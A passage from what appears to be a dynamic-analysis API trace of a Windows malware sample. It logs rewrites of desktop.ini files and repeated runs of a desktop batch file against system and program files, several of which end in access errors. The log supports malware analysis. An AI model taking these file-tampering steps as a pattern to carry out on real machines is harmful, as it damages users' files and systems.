| out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0065.041] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0065.041] CloseHandle (hObject=0x1d4) returned 1 [0065.041] CreateFileW (lpFileName="C:\\Users\\Default\\Pictures\\desktop.ini" (normalized: "c:\\users\\default\\pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0065.041] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0065.042] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1f8 [0065.042] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0065.042] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0065.042] ReleaseMutex (hMutex=0x128) returned 1 [0065.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0065.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6324c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0065.042] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1f8, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x354f2bc*=0x1f8, lpOverlapped=0x0) returned 1 [0065.043] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0065.043] WriteFile (in: hFile=0x1d4, lpBuffer=0x2613698*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesWritten=0x354f2d0*=0x780, lpOverlapped=0x0) returned 1 [0065.043] CloseHandle (hObject=0x1d4) returned 1 [0065.043] CreateFileW (lpFileName="C:\\Users\\Public\\Documents\\desktop.ini" (normalized: "c:\\users\\public\\documents\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0065.043] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0065.043] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x116 [0065.043] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0065.043] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0065.043] ReleaseMutex (hMutex=0x128) returned 1 [0065.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0065.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6306c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0065.043] ReadFile (in: hFile=0x1d4, lpBuffer=0x27f8a48, nNumberOfBytesToRead=0x116, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27f8a48*, lpNumberOfBytesRead=0x354f2bc*=0x116, lpOverlapped=0x0) returned 1 [0065.044] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0065.044] WriteFile (in: hFile=0x1d4, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x69e, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x69e, lpOverlapped=0x0) returned 1 [0065.044] CloseHandle (hObject=0x1d4) returned 1 [0065.045] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0065.045] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0065.045] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x460 [0065.045] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0065.045] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0065.045] ReleaseMutex (hMutex=0x128) returned 1 [0065.045] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0065.045] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6324c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0065.045] ReadFile (in: hFile=0x1d4, lpBuffer=0x2624cc8, nNumberOfBytesToRead=0x460, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2624cc8*, lpNumberOfBytesRead=0x354f2bc*=0x460, lpOverlapped=0x0) returned 1 [0065.047] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0065.047] WriteFile (in: hFile=0x1d4, lpBuffer=0x2613698*, nNumberOfBytesToWrite=0x9e8, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesWritten=0x354f2d0*=0x9e8, lpOverlapped=0x0) returned 1 [0065.047] CloseHandle (hObject=0x1d4) returned 1 [0065.048] GetCurrentThreadId () returned 0xb84 [0065.048] GetCurrentThreadId () returned 0xb84 [0065.048] GetCurrentThreadId () returned 0xb84 [0065.048] SetEvent (hEvent=0xc4) returned 1 [0065.048] RtlExitUserThread (Status=0x0) Thread: id = 88 os_tid = 0xb88 [0033.851] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf", dwFileAttributes=0x80) returned 1 [0033.851] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x368f874*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x368f864 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\"", lpProcessInformation=0x368f864*(hProcess=0x1cc, hThread=0x1bc, dwProcessId=0xbbc, dwThreadId=0xb98)) returned 1 [0034.111] WaitForSingleObject (hHandle=0x1cc, dwMilliseconds=0x1388) returned 0x102 [0039.989] CloseHandle (hObject=0x1cc) returned 1 [0039.989] CloseHandle (hObject=0x1bc) returned 1 [0040.008] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0040.008] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf", nBufferLength=0x104, lpBuffer=0x368f64c, lpFilePart=0x368f648 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf", lpFilePart=0x368f648*="RacWmiDatabase.sdf") returned 0x41 [0040.009] GetLastError () returned 0x20 [0040.009] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x368f85c, nSize=0x0, Arguments=0x0 | out: lpBuffer="?pͨ폈Hͨ퐔Hͨ") returned 0x51 [0040.065] LocalFree (hMem=0x70da60) returned 0x0 [0040.065] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x368d818, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0040.065] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x368f84c) [0040.065] RtlUnwind (TargetFrame=0x368f8b4, TargetIp=0x406ffc, ExceptionRecord=0x368f330, ReturnValue=0x0) [0040.065] RtlUnwind (TargetFrame=0x368f8d8, TargetIp=0x407184, ExceptionRecord=0x368f330, ReturnValue=0x0) [0040.065] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf", dwFileAttributes=0x80) returned 1 [0040.065] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x368f874*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x368f864 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\"", lpProcessInformation=0x368f864*(hProcess=0x1bc, hThread=0x12c, dwProcessId=0xbb4, dwThreadId=0x2ac)) returned 1 [0040.077] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x1388) returned 0x102 [0046.381] CloseHandle (hObject=0x1bc) returned 1 [0046.381] CloseHandle (hObject=0x12c) returned 1 [0046.381] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racdatabase.sdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0046.381] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf", nBufferLength=0x104, lpBuffer=0x368f64c, lpFilePart=0x368f648 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf", lpFilePart=0x368f648*="RacDatabase.sdf") returned 0x3a [0046.381] GetLastError () returned 0x20 [0046.381] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x368f85c, nSize=0x0, Arguments=0x0 | out: lpBuffer="?pͨ폈Hͨ퐔Hͨ") returned 0x51 [0046.381] LocalFree (hMem=0x70da60) returned 0x0 [0046.382] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x368d818, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0046.382] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x368f84c) [0046.382] RtlUnwind (TargetFrame=0x368f8b4, TargetIp=0x406ffc, ExceptionRecord=0x368f330, ReturnValue=0x0) [0046.382] RtlUnwind (TargetFrame=0x368f8d8, TargetIp=0x407184, ExceptionRecord=0x368f330, ReturnValue=0x0) [0046.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe", dwFileAttributes=0x80) returned 1 [0046.382] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x368f874*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x368f864 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\"", lpProcessInformation=0x368f864*(hProcess=0x1bc, hThread=0x12c, dwProcessId=0xadc, dwThreadId=0xba4)) returned 1 [0046.388] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x1388) returned 0x102 [0052.587] CloseHandle (hObject=0x1bc) returned 1 [0052.588] CloseHandle (hObject=0x12c) returned 1 [0052.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe" (normalized: "c:\\program files\\microsoft synchronization services\\creditservice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0052.927] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe", nBufferLength=0x104, lpBuffer=0x368f64c, lpFilePart=0x368f648 | out: lpBuffer="C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe", lpFilePart=0x368f648*="creditservice.exe") returned 0x45 [0052.927] GetLastError () returned 0x20 [0052.927] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x368f85c, nSize=0x0, Arguments=0x0 | out: lpBuffer="?pͨ폈Hͨ퐔Hͨ") returned 0x51 [0052.927] LocalFree (hMem=0x70da60) returned 0x0 [0052.927] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x368d818, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0052.927] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x368f84c) [0052.928] RtlUnwind (TargetFrame=0x368f8b4, TargetIp=0x406ffc, ExceptionRecord=0x368f330, ReturnValue=0x0) [0052.928] RtlUnwind (TargetFrame=0x368f8d8, TargetIp=0x407184, ExceptionRecord=0x368f330, ReturnValue=0x0) [0052.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui", dwFileAttributes=0x80) returned 0 [0053.288] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x368f874*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x368f864 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\"", lpProcessInformation=0x368f864*(hProcess=0x184, hThread=0x198, dwProcessId=0x594, dwThreadId=0x454)) returned 1 [0054.055] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x1388) returned 0x102 [0064.553] CloseHandle (hObject=0x184) returned 1 [0064.553] CloseHandle (hObject=0x198) returned 1 [0064.553] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\jntfiltr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0064.554] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui", nBufferLength=0x104, lpBuffer=0x368f64c, lpFilePart=0x368f648 | out: lpBuffer="C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui", lpFilePart=0x368f648*="JNTFiltr.dll.mui") returned 0x37 [0064.554] GetLastError () returned 0x5 [0064.554] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x368f85c, nSize=0x0, Arguments=0x0 | out: lpBuffer="pͨ폈Hͨ퐔Hͨ") returned 0x13 [0064.554] LocalFree (hMem=0x70e078) returned 0x0 [0064.554] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x368d818, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0064.554] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x368f84c) [0064.555] RtlUnwind (TargetFrame=0x368f8b4, TargetIp=0x406ffc, ExceptionRecord=0x368f330, ReturnValue=0x0) [0064.555] RtlUnwind (TargetFrame=0x368f8d8, TargetIp=0x407184, ExceptionRecord=0x368f330, ReturnValue=0x0) [0064.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp", dwFileAttributes=0x80) returned 0 [0064.760] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x368f874*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x368f864 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\"", lpProcessInformation=0x368f864*(hProcess=0x184, hThread=0x198, dwProcessId=0x5dc, dwThreadId=0xb98)) returned 1 [0064.773] WaitForSingleObject (hHandle=0x184, dwMilliseconds=0x1388) returned 0x102 [0071.944] CloseHandle (hObject=0x184) returned 1 [0071.944] CloseHandle (hObject=0x198) returned 1 [0071.944] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp" (normalized: "c:\\program files\\windows journal\\templates\\blank.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0071.945] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp", nBufferLength=0x104, lpBuffer=0x368f64c, lpFilePart=0x368f648 | out: lpBuffer="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp", lpFilePart=0x368f648*="blank.jtp") returned 0x34 [0071.945] GetLastError () returned 0x5 [0071.945] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x368f85c, nSize=0x0, Arguments=0x0 | out: lpBuffer="pͨ폈Hͨ퐔Hͨ") returned 0x13 [0071.945] LocalFree (hMem=0x70e078) returned 0x0 [0071.945] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x368d818, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0071.945] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x368f84c) [0071.946] RtlUnwind (TargetFrame=0x368f8b4, TargetIp=0x406ffc, ExceptionRecord=0x368f330, ReturnValue=0x0) [0071.946] RtlUnwind (TargetFrame=0x368f8d8, TargetIp=0x407184, ExceptionRecord=0x368f330, ReturnValue=0x0) [0071.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp", dwFileAttributes=0x80) returned 0 [0071.995] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x368f874*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x368f864 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\"", lpProcessInformation=0x368f864*(hProcess=0x198, hThread=0x1b0, dwProcessId=0xc28, dwThreadId=0xc2c)) returned 1 [0072.011] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0x1388) returned 0x102 [0079.424] CloseHandle (hObject=0x198) returned 1 [0079.424] CloseHandle (hObject=0x1b0) returned 1 [0079.424] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp" (normalized: "c:\\program files\\windows journal\\templates\\to_do_list.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0079.424] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp", nBufferLength=0x104, lpBuffer=0x368f64c, lpFilePart=0x368f648 | out: lpBuffer="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp", lpFilePart=0x368f648*="To_Do_List.jtp") returned 0x39 [0079.424] GetLastError () returned 0x5 [0079.424] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x368f85c, nSize=0x0, Arguments=0x0 | out: lpBuffer="pͨ폈Hͨ퐔Hͨ") returned 0x13 [0079.424] LocalFree (hMem=0x70e078) returned 0x0 [0079.425] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x368d818, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0079.425] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x368f84c) [0079.425] RtlUnwind (TargetFrame=0x368f8b4, TargetIp=0x406ffc, ExceptionRecord=0x368f330, ReturnValue=0x0) [0079.425] RtlUnwind (TargetFrame=0x368f8d8, TargetIp=0x407184, ExceptionRecord=0x368f330, ReturnValue=0x0) [0079.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui", dwFileAttributes=0x80) returned 0 [0079.425] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x30, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x368f874*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x368f864 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\"", lpProcessInformation=0x368f864*(hProcess=0x198, hThread=0x1b0, dwProcessId=0xc8c, dwThreadId=0xc90)) returned 1 [0079.438] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0x1388) returned 0x102 [0085.629] CloseHandle (hObject=0x198) returned 1 [0085.629] CloseHandle (hObject=0x1b0) returned 1 [0085.629] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" (normalized: "c:\\program files\\windows photo viewer\\en-us\\imagingdevices.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0085.629] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui", 